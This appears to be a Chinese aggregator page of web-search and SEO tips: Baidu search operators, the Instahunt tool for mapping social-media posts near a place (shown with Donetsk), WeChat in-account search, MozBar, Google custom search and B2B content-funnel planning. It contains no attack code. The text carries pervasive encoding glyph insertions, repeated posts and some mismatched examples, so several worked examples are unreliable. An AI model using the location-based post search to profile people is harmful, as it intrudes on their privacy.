比如我只想在我自己博客網(wǎng)站上搜索“計算”這個(gè)信息,我可以使用關(guān)鍵詞 site:計算 進(jìn)行搜索,這樣搜出來(lái)的信息都是我博客上的內容。如下圖:
3、在標題里面限定進(jìn)行精準搜索
如果我們想得到搜索結果的標題中包含我們輸入的關(guān)鍵詞,這時(shí)候可以用intitle:進(jìn)行限定。
比如我想搜索引擎返回的結果在標題里面包含“程序員”這個(gè)關(guān)鍵詞,可以輸入關(guān)鍵詞:intitle:程序。如下圖:
4、 精準搜索你要的文檔類(lèi)資料
有時(shí)候我們想在百度上找某個(gè)課程的文檔,但是搜出來(lái)的信息總不是自己想要的,可以試一下關(guān)鍵詞:filetype:+文檔格式。
比如我們想在網(wǎng)上搜索高等數學(xué)課doc格式的文章,我們可以這樣搜索:python filetype:ppt,如下圖:
5、 指定鏈接進(jìn)行精準搜索
在網(wǎng)頁(yè)鏈接中我們可以限定關(guān)鍵詞進(jìn)行搜索,只要在關(guān)鍵詞前面加:inurl:
例如:我要精準搜索關(guān)鍵詞:Java
可以輸入關(guān)鍵詞:inurl:Java,如下圖:
-------------------------
記住,搜索的時(shí)候關(guān)鍵詞越短越好,搜索內容就越多
譚慶波
就這些,各位朋友,覺(jué)得有用的話(huà)記得點(diǎn)個(gè)贊!
微信8.0將好友放開(kāi)到了一萬(wàn),小伙伴可以加我大號了,先到先得,再滿(mǎn)就真沒(méi)了 查看全部
這幾個(gè)百度搜索技巧,小電影都搜的到!
先說(shuō)百度網(wǎng)盤(pán)網(wǎng)盤(pán)是個(gè)好東西,現在除了被干掉的快播,就某某網(wǎng)盤(pán)最火了,當然,最火的這個(gè)不是百度網(wǎng)盤(pán)。
我們看圖說(shuō)話(huà):
再來(lái)個(gè)正兒八經(jīng)的(你也可以搜必的小電影)
完美??!
在看看python書(shū)籍
pdf也是個(gè)好東西
下面介紹幾種百度搜索技巧
1、 關(guān)鍵詞加引號
比如我要搜索:python教程app,在搜索的時(shí)候很有可能會(huì )把”pthon“和“教程app”拆分開(kāi),然后分別進(jìn)行搜索,這時(shí)候我們可以把關(guān)鍵詞放入引號內,就代表完全匹配搜索,也就是所顯示的搜索結果一定包含完整的關(guān)鍵詞,不會(huì )出現近義詞和拆分的情況。
這不就是老曾寫(xiě)的App嗎?
2、site:用于搜索指定網(wǎng)站下的關(guān)鍵信息
比如我只想在我自己博客網(wǎng)站上搜索“計算”這個(gè)信息,我可以使用關(guān)鍵詞 site:計算 進(jìn)行搜索,這樣搜出來(lái)的信息都是我博客上的內容。如下圖:
3、在標題里面限定進(jìn)行精準搜索
如果我們想得到搜索結果的標題中包含我們輸入的關(guān)鍵詞,這時(shí)候可以用intitle:進(jìn)行限定。
比如我想搜索引擎返回的結果在標題里面包含“程序員”這個(gè)關(guān)鍵詞,可以輸入關(guān)鍵詞:intitle:程序。如下圖:
4、 精準搜索你要的文檔類(lèi)資料
有時(shí)候我們想在百度上找某個(gè)課程的文檔,但是搜出來(lái)的信息總不是自己想要的,可以試一下關(guān)鍵詞:filetype:+文檔格式。
比如我們想在網(wǎng)上搜索高等數學(xué)課doc格式的文章,我們可以這樣搜索:python filetype:ppt,如下圖:
5、 指定鏈接進(jìn)行精準搜索
在網(wǎng)頁(yè)鏈接中我們可以限定關(guān)鍵詞進(jìn)行搜索,只要在關(guān)鍵詞前面加:inurl:
例如:我要精準搜索關(guān)鍵詞:Java
可以輸入關(guān)鍵詞:inurl:Java,如下圖:
-------------------------
記住,搜索的時(shí)候關(guān)鍵詞越短越好,搜索內容就越多
譚慶波
就這些,各位朋友,覺(jué)得有用的話(huà)記得點(diǎn)個(gè)贊!
微信8.0將好友放開(kāi)到了一萬(wàn),小伙伴可以加我大號了,先到先得,再滿(mǎn)就真沒(méi)了
【工具類(lèi)】查找指定位置附近的社交媒體內容
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 103 次瀏覽 ? 2022-05-12 02:00
在FB和INS上,我們可以搜索指定位置的發(fā)帖內容。但是這樣工作效率太低,我們無(wú)法全面掌握目標區域內的所有內容(除非有一張該區域內可搜索的地點(diǎn)清單)。網(wǎng)頁(yè)工具Instahunt為我們提供了很好的幫助,能夠快速在地圖顯示指定位置附近所有的FB和INS鏈接。
Instahunt鏈接:
1.賬號登錄
搜索之前登錄您的FB賬號和INS賬號
2.獲取JSON數據在右上角填入目標位置,之后點(diǎn)擊左上角FIND PLACES得到所有JSON輸出
3.地圖可視化將JSON輸出復制粘貼至指定文本框中,單擊“映射您的INS地點(diǎn)”按鈕后即可在地圖上顯示周?chē)械腇B和INS帖子,之后選擇感興趣的地點(diǎn)單擊“查看帖子”即可。
以頓涅茨克為例,使用其烏克蘭語(yǔ)Донецьк作為搜索關(guān)鍵詞,在地圖上顯示的圖像如下所示:
經(jīng)過(guò)逐一查看,其中我們認為具有開(kāi)源情報價(jià)值的是位于Парк кованых фигур(鍛造人物公園)的一條INS:
關(guān)鍵信息:兩天前發(fā)布;頓涅茨克;坦克。
針對熱點(diǎn)事件,或許在之后的開(kāi)源情報過(guò)程中也能利用類(lèi)似方法提前預知局勢走向。 查看全部
【工具類(lèi)】查找指定位置附近的社交媒體內容
在FB和INS上,我們可以搜索指定位置的發(fā)帖內容。但是這樣工作效率太低,我們無(wú)法全面掌握目標區域內的所有內容(除非有一張該區域內可搜索的地點(diǎn)清單)。網(wǎng)頁(yè)工具Instahunt為我們提供了很好的幫助,能夠快速在地圖顯示指定位置附近所有的FB和INS鏈接。
Instahunt鏈接:
1.賬號登錄
搜索之前登錄您的FB賬號和INS賬號
2.獲取JSON數據在右上角填入目標位置,之后點(diǎn)擊左上角FIND PLACES得到所有JSON輸出
3.地圖可視化將JSON輸出復制粘貼至指定文本框中,單擊“映射您的INS地點(diǎn)”按鈕后即可在地圖上顯示周?chē)械腇B和INS帖子,之后選擇感興趣的地點(diǎn)單擊“查看帖子”即可。
以頓涅茨克為例,使用其烏克蘭語(yǔ)Донецьк作為搜索關(guān)鍵詞,在地圖上顯示的圖像如下所示:
經(jīng)過(guò)逐一查看,其中我們認為具有開(kāi)源情報價(jià)值的是位于Парк кованых фигур(鍛造人物公園)的一條INS:
關(guān)鍵信息:兩天前發(fā)布;頓涅茨克;坦克。
針對熱點(diǎn)事件,或許在之后的開(kāi)源情報過(guò)程中也能利用類(lèi)似方法提前預知局勢走向。
技巧 | 如何搜索公眾號里的指定內容 ?
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 306 次瀏覽 ? 2022-05-12 01:57
本期概要 :在使用微信,查找公眾號相關(guān)資料和內容的時(shí)候,我們往往會(huì )用到搜索。但是很多朋友不清楚如何在指定公眾號下面搜索特定的內容,需要一條一條翻閱歷史消息,非常痛苦,今天給大家介紹簡(jiǎn)單易用的方法,輕松地找到你需要的內容。
以本公眾號為例,方法可以用在所有其他公眾號里。
第一步:點(diǎn)擊所有文章,跳轉到歷史文章的頁(yè)面。
第二步:把界面,整體往下拉。
第三步:出現搜索框,可以進(jìn)行搜索了。
第四步:隨意鍵入您要的關(guān)鍵詞。建議輸入少量精確的詞語(yǔ)。
視頻教程:
查看全部
技巧 | 如何搜索公眾號里的指定內容 ?
本期概要 :在使用微信,查找公眾號相關(guān)資料和內容的時(shí)候,我們往往會(huì )用到搜索。但是很多朋友不清楚如何在指定公眾號下面搜索特定的內容,需要一條一條翻閱歷史消息,非常痛苦,今天給大家介紹簡(jiǎn)單易用的方法,輕松地找到你需要的內容。
以本公眾號為例,方法可以用在所有其他公眾號里。
第一步:點(diǎn)擊所有文章,跳轉到歷史文章的頁(yè)面。
第二步:把界面,整體往下拉。
第三步:出現搜索框,可以進(jìn)行搜索了。
第四步:隨意鍵入您要的關(guān)鍵詞。建議輸入少量精確的詞語(yǔ)。
視頻教程:
如何一鍵識別網(wǎng)站質(zhì)量?如何一秒搜索精準內容?
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 112 次瀏覽 ? 2022-05-11 19:20
前者可以幫你快速判斷一個(gè)網(wǎng)站到底有沒(méi)有料,提高信息篩選的效率;后者可以幫你快速定位自己要找的信息,即自定義搜索。
畢竟明明只想搜索網(wǎng)站A、B、C的內容,卻一直刷到網(wǎng)站D、E、F的鏈接,是很頭疼的。
—1—
MozBar谷歌插件
1.MozBar谷歌插件
第一款分享的工具是MozBar谷歌插件, 在谷歌瀏覽器的擴展程序中先安裝插件。
下載地址:
這已經(jīng)是個(gè)很出名的老牌搜索引擎優(yōu)化插件了,可以用來(lái)評判網(wǎng)站好壞。
不僅可以用來(lái)評估別人的網(wǎng)站、網(wǎng)頁(yè)質(zhì)量,也可以用來(lái)評估自己的網(wǎng)站表現。
其中有兩個(gè)值需要注意 :0-100取值,越大越優(yōu)秀
DA(Domain Authority),網(wǎng)站權重的指標;
PA(Page Authority),網(wǎng)頁(yè)權重指標。
左上角綠色圖標還可以導出網(wǎng)頁(yè)搜索的相關(guān)數據。
2. Mozbar一鍵識別網(wǎng)站質(zhì)量
具體用法舉個(gè)例子吧。
如果我要找紅人做推廣,在網(wǎng)上搜到了一系列紅人資源后,想排查紅人的質(zhì)量,就可以用到MozBar。
首先搜索我們想讓這個(gè)紅人進(jìn)行推廣的,紅人的主頁(yè),比如我們想讓紅人做YouTube的推廣,就搜索其YouTube主頁(yè)。
這個(gè)YouTube美妝博主的賬號DA高達100,主頁(yè)的PA達76,說(shuō)明她的熱度非常高,有條件的話(huà)完全可以放心找她合作。
同理MozBar也可以用來(lái)分析其他站點(diǎn)的質(zhì)量。
—2—
谷歌自定義搜索引擎
在介紹這個(gè)有點(diǎn)燒腦的工具之前,先和大家分享一件趣事。(其實(shí)按照我分享的步驟操作并不難掌握)
今天同事咨詢(xún)我該怎么扒原貼。
他在網(wǎng)頁(yè)看到這張圖,想找原帖,但即使知道這是博主在Facebook發(fā)布的帖子,也知道是2019年發(fā)布的,甚至連文本內容都知道,可他就是沒(méi)辦法在博主的Facebook主頁(yè)扒出來(lái)這條陳年老帖。
即使設置好了搜索條件,右側的顯示也跟原帖毫不相干。
而我用谷歌自定義搜索引擎來(lái)搜索,一下子就找到了這條帖子,而且搜索結果非常精準,就是這一條內容。
1.谷歌自定義搜索引擎是什么
先貼網(wǎng)址:
歡迎大家先來(lái)看一下我的的小粉紅乞丐版自定義搜索引擎,是不是跟平常我們在谷歌的搜索很不一樣?
外觀(guān)可以自定義,要搜索的內容也可以定向。
分為幾個(gè)板塊,第一個(gè)板塊是搜索標簽;第二個(gè)板塊是谷歌的廣告內容;第三個(gè)板塊是搜索結果。
如果我想搜索網(wǎng)站內容,就選擇Web,如果想搜索圖片內容,就選擇Image。
我把All results標簽設置為包含右邊所有標簽。
即我用All results標簽搜索”小米手機“,就會(huì )得到twitter、Facebook、tumblr、 reddit、youtube這幾個(gè)網(wǎng)站里,所有關(guān)于”小米手機“的內容。
當然我也可以根據各個(gè)不同標簽找。
比如我想搜索twitter里所有關(guān)于”小米手機“的帖子,就直接用twitter的標簽進(jìn)行搜索。
是不是很方便!
2.手把手教你設置自定義搜索
a)第一步:新增搜索引擎
以下為設置初步自定義搜索的流程。
打開(kāi)網(wǎng)址:
點(diǎn)擊添加,填寫(xiě)內容,然后點(diǎn)擊創(chuàng )建。
創(chuàng )建完成后會(huì )顯示該界面。
我們先來(lái)點(diǎn)擊公開(kāi)網(wǎng)址,如圖:
在搜索框我們試著(zhù)搜索一下最近的東北虎熱點(diǎn)事件:
我們看到出來(lái)的都是Facebook(twitter也有顯示在后面)上關(guān)于東北虎的討論,非常精準。
接著(zhù)點(diǎn)擊修改搜索引擎控制臺,如圖:
這里大家可以自行設置,但是注意,正常情況下建議打開(kāi)圖片搜索和安全搜索。
b)第二步:修改搜索引擎
這是我之前設置好參數的自定義搜索引擎”測試版“。
左邊進(jìn)行設置的同時(shí),可以在右邊看到預設的界面。外觀(guān)設置就不說(shuō)了,大家按照自己的喜好去調整。
標簽的設置是在”“搜索功能”的“優(yōu)化一欄。
按照自己的需要添加標簽。
比如我想有一個(gè)標簽專(zhuān)門(mén)顯示Facebook的內容,我就把標簽命名為”Facebook“(或者其他自定義名稱(chēng)),并選擇”進(jìn)搜索具有此標簽的網(wǎng)站“。
創(chuàng )建完標簽后回到設置欄,下拉。
勾選你要添加進(jìn)標簽的網(wǎng)站(可以勾選多個(gè)),選擇標簽,就完成對標簽的設置了。
乞丐版自定義搜索引擎完成。
3.普通搜索 vs 自定義搜索
設置完成后我們可以對比兩個(gè)搜索引擎進(jìn)行搜索。
比如我想做小米手機在twitter的市場(chǎng)調研,想知道twitter里關(guān)于小米手機的帖子大多在討論什么內容。
我嘗試著(zhù)在普通谷歌瀏覽器搜索“小米手機+twitter”。
前五的結果除了第一條是來(lái)自推特的標簽,剩下的全是來(lái)自其它網(wǎng)站。
我用自定義搜索引擎來(lái)試試看。
直接在我剛才設置好的搜索引擎里,選擇twitter的標簽,然后搜索“小米手機”。
除了前面的廣告頁(yè),直接拉下來(lái),搜索到的全是來(lái)自twitter的內容。
直接提高我做市場(chǎng)調查的效率有沒(méi)有!自定義搜索引擎完勝。
—3—
結語(yǔ)
以上兩個(gè)工具還有很多功能,感興趣的朋友完全可以繼續摸索。比如谷歌自定義搜索引擎其實(shí)也是站長(cháng)們可以利用起來(lái)的好工具。
可以用來(lái)給自己的網(wǎng)站做一個(gè)導航鏈接分享出去,甚至可以自定義廣告欄,曾經(jīng)谷歌是收廣告費的莊家,現在收廣告費的莊家成了你。
而MozBar不僅僅能分析網(wǎng)頁(yè)/網(wǎng)站質(zhì)量,還能分析關(guān)鍵字排名、網(wǎng)站SEO強度、SEO分析...這簡(jiǎn)直就是給你開(kāi)了外掛,可以用來(lái)分析別人網(wǎng)站的流量具體是怎么跑的。
但對于想提高搜索效率的基礎玩家,這兩款工具的初級玩法也完全夠用了。 查看全部
如何一鍵識別網(wǎng)站質(zhì)量?如何一秒搜索精準內容?
前者可以幫你快速判斷一個(gè)網(wǎng)站到底有沒(méi)有料,提高信息篩選的效率;后者可以幫你快速定位自己要找的信息,即自定義搜索。
畢竟明明只想搜索網(wǎng)站A、B、C的內容,卻一直刷到網(wǎng)站D、E、F的鏈接,是很頭疼的。
—1—
MozBar谷歌插件
1.MozBar谷歌插件
第一款分享的工具是MozBar谷歌插件, 在谷歌瀏覽器的擴展程序中先安裝插件。
下載地址:
這已經(jīng)是個(gè)很出名的老牌搜索引擎優(yōu)化插件了,可以用來(lái)評判網(wǎng)站好壞。
不僅可以用來(lái)評估別人的網(wǎng)站、網(wǎng)頁(yè)質(zhì)量,也可以用來(lái)評估自己的網(wǎng)站表現。
其中有兩個(gè)值需要注意 :0-100取值,越大越優(yōu)秀
DA(Domain Authority),網(wǎng)站權重的指標;
PA(Page Authority),網(wǎng)頁(yè)權重指標。
左上角綠色圖標還可以導出網(wǎng)頁(yè)搜索的相關(guān)數據。
2. Mozbar一鍵識別網(wǎng)站質(zhì)量
具體用法舉個(gè)例子吧。
如果我要找紅人做推廣,在網(wǎng)上搜到了一系列紅人資源后,想排查紅人的質(zhì)量,就可以用到MozBar。
首先搜索我們想讓這個(gè)紅人進(jìn)行推廣的,紅人的主頁(yè),比如我們想讓紅人做YouTube的推廣,就搜索其YouTube主頁(yè)。
這個(gè)YouTube美妝博主的賬號DA高達100,主頁(yè)的PA達76,說(shuō)明她的熱度非常高,有條件的話(huà)完全可以放心找她合作。
同理MozBar也可以用來(lái)分析其他站點(diǎn)的質(zhì)量。
—2—
谷歌自定義搜索引擎
在介紹這個(gè)有點(diǎn)燒腦的工具之前,先和大家分享一件趣事。(其實(shí)按照我分享的步驟操作并不難掌握)
今天同事咨詢(xún)我該怎么扒原貼。
他在網(wǎng)頁(yè)看到這張圖,想找原帖,但即使知道這是博主在Facebook發(fā)布的帖子,也知道是2019年發(fā)布的,甚至連文本內容都知道,可他就是沒(méi)辦法在博主的Facebook主頁(yè)扒出來(lái)這條陳年老帖。
即使設置好了搜索條件,右側的顯示也跟原帖毫不相干。
而我用谷歌自定義搜索引擎來(lái)搜索,一下子就找到了這條帖子,而且搜索結果非常精準,就是這一條內容。
1.谷歌自定義搜索引擎是什么
先貼網(wǎng)址:
歡迎大家先來(lái)看一下我的的小粉紅乞丐版自定義搜索引擎,是不是跟平常我們在谷歌的搜索很不一樣?
外觀(guān)可以自定義,要搜索的內容也可以定向。
分為幾個(gè)板塊,第一個(gè)板塊是搜索標簽;第二個(gè)板塊是谷歌的廣告內容;第三個(gè)板塊是搜索結果。
如果我想搜索網(wǎng)站內容,就選擇Web,如果想搜索圖片內容,就選擇Image。
我把All results標簽設置為包含右邊所有標簽。
即我用All results標簽搜索”小米手機“,就會(huì )得到twitter、Facebook、tumblr、 reddit、youtube這幾個(gè)網(wǎng)站里,所有關(guān)于”小米手機“的內容。
當然我也可以根據各個(gè)不同標簽找。
比如我想搜索twitter里所有關(guān)于”小米手機“的帖子,就直接用twitter的標簽進(jìn)行搜索。
是不是很方便!
2.手把手教你設置自定義搜索
a)第一步:新增搜索引擎
以下為設置初步自定義搜索的流程。
打開(kāi)網(wǎng)址:
點(diǎn)擊添加,填寫(xiě)內容,然后點(diǎn)擊創(chuàng )建。
創(chuàng )建完成后會(huì )顯示該界面。
我們先來(lái)點(diǎn)擊公開(kāi)網(wǎng)址,如圖:
在搜索框我們試著(zhù)搜索一下最近的東北虎熱點(diǎn)事件:
我們看到出來(lái)的都是Facebook(twitter也有顯示在后面)上關(guān)于東北虎的討論,非常精準。
接著(zhù)點(diǎn)擊修改搜索引擎控制臺,如圖:
這里大家可以自行設置,但是注意,正常情況下建議打開(kāi)圖片搜索和安全搜索。
b)第二步:修改搜索引擎
這是我之前設置好參數的自定義搜索引擎”測試版“。
左邊進(jìn)行設置的同時(shí),可以在右邊看到預設的界面。外觀(guān)設置就不說(shuō)了,大家按照自己的喜好去調整。
標簽的設置是在”“搜索功能”的“優(yōu)化一欄。
按照自己的需要添加標簽。
比如我想有一個(gè)標簽專(zhuān)門(mén)顯示Facebook的內容,我就把標簽命名為”Facebook“(或者其他自定義名稱(chēng)),并選擇”進(jìn)搜索具有此標簽的網(wǎng)站“。
創(chuàng )建完標簽后回到設置欄,下拉。
勾選你要添加進(jìn)標簽的網(wǎng)站(可以勾選多個(gè)),選擇標簽,就完成對標簽的設置了。
乞丐版自定義搜索引擎完成。
3.普通搜索 vs 自定義搜索
設置完成后我們可以對比兩個(gè)搜索引擎進(jìn)行搜索。
比如我想做小米手機在twitter的市場(chǎng)調研,想知道twitter里關(guān)于小米手機的帖子大多在討論什么內容。
我嘗試著(zhù)在普通谷歌瀏覽器搜索“小米手機+twitter”。
前五的結果除了第一條是來(lái)自推特的標簽,剩下的全是來(lái)自其它網(wǎng)站。
我用自定義搜索引擎來(lái)試試看。
直接在我剛才設置好的搜索引擎里,選擇twitter的標簽,然后搜索“小米手機”。
除了前面的廣告頁(yè),直接拉下來(lái),搜索到的全是來(lái)自twitter的內容。
直接提高我做市場(chǎng)調查的效率有沒(méi)有!自定義搜索引擎完勝。
—3—
結語(yǔ)
以上兩個(gè)工具還有很多功能,感興趣的朋友完全可以繼續摸索。比如谷歌自定義搜索引擎其實(shí)也是站長(cháng)們可以利用起來(lái)的好工具。
可以用來(lái)給自己的網(wǎng)站做一個(gè)導航鏈接分享出去,甚至可以自定義廣告欄,曾經(jīng)谷歌是收廣告費的莊家,現在收廣告費的莊家成了你。
而MozBar不僅僅能分析網(wǎng)頁(yè)/網(wǎng)站質(zhì)量,還能分析關(guān)鍵字排名、網(wǎng)站SEO強度、SEO分析...這簡(jiǎn)直就是給你開(kāi)了外掛,可以用來(lái)分析別人網(wǎng)站的流量具體是怎么跑的。
但對于想提高搜索效率的基礎玩家,這兩款工具的初級玩法也完全夠用了。
搜索意圖和銷(xiāo)售漏斗——B2B網(wǎng)站內容部署的指路燈
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 56 次瀏覽 ? 2022-05-10 05:43
對于B2B企業(yè)來(lái)說(shuō),官方網(wǎng)站的營(yíng)銷(xiāo)運營(yíng)中是整個(gè)品牌營(yíng)銷(xiāo)活動(dòng)非常重要又比較棘手的部分。而其中網(wǎng)站的內容部署更是一個(gè)較為花費精力的環(huán)節。
B2B企業(yè)網(wǎng)站缺乏內容嗎?
顯然地,熟悉B2B品牌的營(yíng)銷(xiāo)人員都知道自身不缺乏內容。品牌本身?yè)碛写罅康膬热菪问?。品牌故事、產(chǎn)品文案、產(chǎn)品使用手冊(大量的PDF文檔)、FAQ內容、客戶(hù)真實(shí)評論與反饋、行業(yè)資訊和資料等等,這些都是品牌主很容易就可以創(chuàng )建或者現成得到的內容。
因此,對于B2B企業(yè)的品牌站來(lái)說(shuō),內容營(yíng)銷(xiāo)更核心在于如何部署或者釋放這些內容到網(wǎng)站中,利用它們來(lái)獲取流量和提升網(wǎng)站的E-A-T評分。
本文主要從搜索意圖和銷(xiāo)售漏斗這兩個(gè)概念出發(fā),利用這兩個(gè)在SEO和營(yíng)銷(xiāo)學(xué)中基礎的理念介紹如何在B2B企業(yè)的品牌獨立站中部署內容。
銷(xiāo)售漏斗對于網(wǎng)站內容部署意味著(zhù)什么?
銷(xiāo)售漏斗的概念應該對任何營(yíng)銷(xiāo)人員來(lái)說(shuō)都不陌生,仍然記得這是我當年專(zhuān)業(yè)老師必問(wèn)必考的一個(gè)內容。所以它對于指引我們B2B網(wǎng)站的內容部署還是非常重要。
首先我們要重溫一下“客戶(hù)旅程”這個(gè)概念??蛻?hù)(用戶(hù))從了解一個(gè)品牌,到查詢(xún)資料,然后形成意見(jiàn),最后掏錢(qián)購買(mǎi),這是一個(gè)完整的客戶(hù)旅程。
產(chǎn)生意識>確認需求>進(jìn)行購買(mǎi)>留存選擇>口碑傳播,貫穿于銷(xiāo)售漏斗的始終。對于我們網(wǎng)站內容策略來(lái)說(shuō),客戶(hù)旅程和銷(xiāo)售漏斗發(fā)揮著(zhù)一個(gè)非常重要的指導作用。
根據Ahrefs的一個(gè)調研,大部分的B2B企業(yè)更加關(guān)注銷(xiāo)售漏斗中的BOFU環(huán)節,即促成購買(mǎi)的環(huán)節。
因此在網(wǎng)站的內容部署中,投入大量的精力在和產(chǎn)品購買(mǎi)相關(guān)的頁(yè)面中,如產(chǎn)品目錄頁(yè)、產(chǎn)品詳情頁(yè)或者其他促銷(xiāo)頁(yè)面。對于以詢(xún)盤(pán)或者銷(xiāo)售為業(yè)績(jì)導向的B2B企業(yè)來(lái)說(shuō),的確是無(wú)可厚非的一種操作。
然而,很多時(shí)候我們仿佛忘記了當初學(xué)習營(yíng)銷(xiāo)時(shí)的一個(gè)基本理念---用戶(hù)達成購買(mǎi),是一個(gè)漫長(cháng)的被攻占心智的過(guò)程。對于銷(xiāo)售漏斗中的TOFU和MOFU部分的內容,我們忽視了或者不愿意去投入精力,直接無(wú)視了在“客戶(hù)旅程”中處于中間過(guò)程的潛在客戶(hù)。
在我們定立網(wǎng)站內容策略,制定內容部署方針的時(shí)候,如果我們發(fā)現不知道應該部署什么內容的時(shí)候,可以回顧一下銷(xiāo)售漏斗中用戶(hù)在不同的客戶(hù)旅程階段,他們所關(guān)注的內容是什么。
不同購買(mǎi)漏斗階段用戶(hù)關(guān)心的內容
處于TOFU部分的用戶(hù),大多是剛剛發(fā)現自己有這樣的需求,并且在網(wǎng)上開(kāi)始搜索相關(guān)資料、品牌等。那么網(wǎng)站中應該有這樣的內容來(lái)展示品牌在這個(gè)領(lǐng)域的專(zhuān)業(yè)度,讓潛在的客戶(hù)相信你的品牌作為一個(gè)可靠的信息來(lái)源。網(wǎng)站中的品牌故事內容、專(zhuān)業(yè)背書(shū)內容、Ebook(包括白皮書(shū)等)以及當前比較流行的短視頻、社媒運營(yíng)、信息圖等都可以幫助你的潛在客戶(hù)加深對品牌的印象,提高他們重新訪(fǎng)問(wèn)網(wǎng)站獲取信息的機會(huì )或者關(guān)注品牌動(dòng)向。
而進(jìn)入到MOFU部分內容的用戶(hù),他們已經(jīng)對品牌和行業(yè)相關(guān)的一些基本概念有一定了解,確定了需求。他們更加想進(jìn)一步找到滿(mǎn)足自己需求的解決方案、和一些技術(shù)對比。而我們這個(gè)時(shí)候應該呈現給用戶(hù)的是我們的一些技術(shù)能力、解決方案策略等內容。
從這個(gè)角度出發(fā),我們應該在內容部署中考慮案例、指導性?xún)热?、相關(guān)研討會(huì ),活動(dòng)實(shí)況、場(chǎng)景應用介紹等。同時(shí)配合EDM營(yíng)銷(xiāo)把這些內容推送給在TOFU部分積累的潛在用戶(hù)。
到了BOFU,我們希望潛在客戶(hù)進(jìn)行購買(mǎi),到達這個(gè)階段的用戶(hù)應該理解我們呈現的內容,我們需要讓他們相信我們的產(chǎn)品、服務(wù)確實(shí)有能力解決他們的問(wèn)題。那么我們需要什么內容來(lái)推動(dòng)他們進(jìn)行購買(mǎi)行為呢?我相信大部分營(yíng)銷(xiāo)人員都對這部分內容較為熟悉。
一個(gè)不同版本的對比表格、一份產(chǎn)品或者軟件的demo試用、根據不同客戶(hù)需求呈現的推薦產(chǎn)品、真實(shí)的客戶(hù)反饋以及具體的參數,這些內容都是在BOFU階段促進(jìn)用戶(hù)交易的內容。
B2B網(wǎng)站應該包含所有貫穿銷(xiāo)售漏斗階段的內容
不少B2B 網(wǎng)站的營(yíng)銷(xiāo)人員會(huì )不禁發(fā)出疑問(wèn),以上說(shuō)的三部分內容,應該怎么去分布。首先,我們明確建議:B2B網(wǎng)站應該呈現包含所有貫穿銷(xiāo)售漏斗階段的內容。
這是因為,我們無(wú)法判斷,進(jìn)入我們網(wǎng)站的潛在客戶(hù)他們處于銷(xiāo)售漏斗中哪一個(gè)階段。因此,如果我們網(wǎng)站可以部署滿(mǎn)足用戶(hù)處于不同客戶(hù)旅程階段的內容,那么我們網(wǎng)站就可以捕獲不同需求客戶(hù)的流量,各個(gè)部分的內容都可以成為網(wǎng)站SEO流量的推進(jìn)劑,而最終促進(jìn)銷(xiāo)售和詢(xún)盤(pán)的達成。
用戶(hù)搜索意圖的充分分析幫助B2B網(wǎng)站的內容建設
當我們知道為B2B網(wǎng)站創(chuàng )建什么類(lèi)型的內容后,我們就需要考慮怎么去創(chuàng )建貼合用戶(hù)需求,為網(wǎng)站帶來(lái)流量的內容了。這個(gè)時(shí)候“用戶(hù)搜索意圖”分析就可以幫助到我們制定內容建設的框架了。
什么是用戶(hù)搜索意圖?
顧名思義,搜索意圖就是反映潛在客戶(hù)為什么要這樣搜索的原因。一般情況下,在SEO中用戶(hù)的搜索意圖體現在他們通過(guò)搜索哪些關(guān)鍵詞來(lái)獲取他們想要的信息。
用戶(hù)搜索意圖對于B2B網(wǎng)站內容部署有什么意義?
了解用戶(hù)的搜索意圖,便于網(wǎng)站的營(yíng)銷(xiāo)人員創(chuàng )建符合用戶(hù)需求的內容,有利于網(wǎng)站的SEO排名和流量的提升。前文說(shuō)到,潛在客戶(hù)處于不同的客戶(hù)旅程階段,進(jìn)入不同的銷(xiāo)售漏斗部分,他們所想了解的東西是不一樣的。這個(gè)時(shí)候他們所使用的搜索關(guān)鍵詞也會(huì )有所差異。
因此當我們分析用戶(hù)意圖后,我們便可以得知他們當前所想了解的信息大多會(huì )和哪些主題相關(guān)。而我們網(wǎng)站所部署的內容主題也應該和他們相貼合。
用戶(hù)搜索意圖的類(lèi)型有哪些?
用戶(hù)的搜索意圖類(lèi)型主要分以下幾種:
1、信息類(lèi)型——用戶(hù)希望通過(guò)搜索,了解某些品牌、產(chǎn)品、服務(wù)的基礎信息,包括它們的用途、原理等等。通常這類(lèi)意圖的關(guān)鍵詞都包含“what is”、“who is”,“Where is”等5W元素。
2、導航類(lèi)型——用戶(hù)可能希望訪(fǎng)問(wèn)某個(gè)特定的網(wǎng)站或者頁(yè)面。這個(gè)時(shí)候,他們會(huì )直接搜索某個(gè)網(wǎng)站的名稱(chēng)或者品牌名稱(chēng),如“Facebook”,“Apple official website”。
3、含交易意向的類(lèi)型——購買(mǎi)意欲較強的用戶(hù),他們大多已經(jīng)處于購買(mǎi)漏斗比較靠后的階段,這個(gè)時(shí)候他們所呈現的搜索意圖已經(jīng)非常明顯,它們大多會(huì )使用含有“buy”,“price”,“cheap”等等和購買(mǎi)、價(jià)格比較相關(guān)的字眼。
4、商業(yè)調查類(lèi)型——這類(lèi)搜索意圖和含交易意向的類(lèi)型有些類(lèi)似。他們已經(jīng)有很明顯的購買(mǎi)意圖,而且希望通過(guò)調查,找到頭部品牌、優(yōu)惠、reviews、參數對比信息等內容幫助他們進(jìn)行最后的決策。
當我們知道用戶(hù)的搜索用詞類(lèi)型會(huì )體現以上四種搜索意圖的時(shí)候,在我們在做內容策劃時(shí),進(jìn)行關(guān)鍵詞調研、主題調研就應該總結出一些用詞規律,并根據這些詞根,推斷通過(guò)這些詞進(jìn)入到網(wǎng)站的用戶(hù)大多處于哪個(gè)客戶(hù)旅行階段,也可以通過(guò)已有數據來(lái)檢查我們網(wǎng)站目前缺乏銷(xiāo)售漏斗中哪些內容類(lèi)型,進(jìn)而對網(wǎng)站的內容主題進(jìn)行規劃。
各類(lèi)搜索意圖一般情況下會(huì )出現的字眼:
如何了解來(lái)到網(wǎng)站的用戶(hù)的搜索意圖?
我們知道搜索意圖的分類(lèi)和體現用戶(hù)搜索意圖的關(guān)鍵詞詞根后,我們應該怎么去了解和分析我們的網(wǎng)站有哪些類(lèi)型的用戶(hù)訪(fǎng)問(wèn)了呢?
這個(gè)很簡(jiǎn)單,相關(guān)的工具和網(wǎng)站后臺就可以幫助我們得到這些信息。
● 內部挖掘:
Google Analytics & Google Search Console
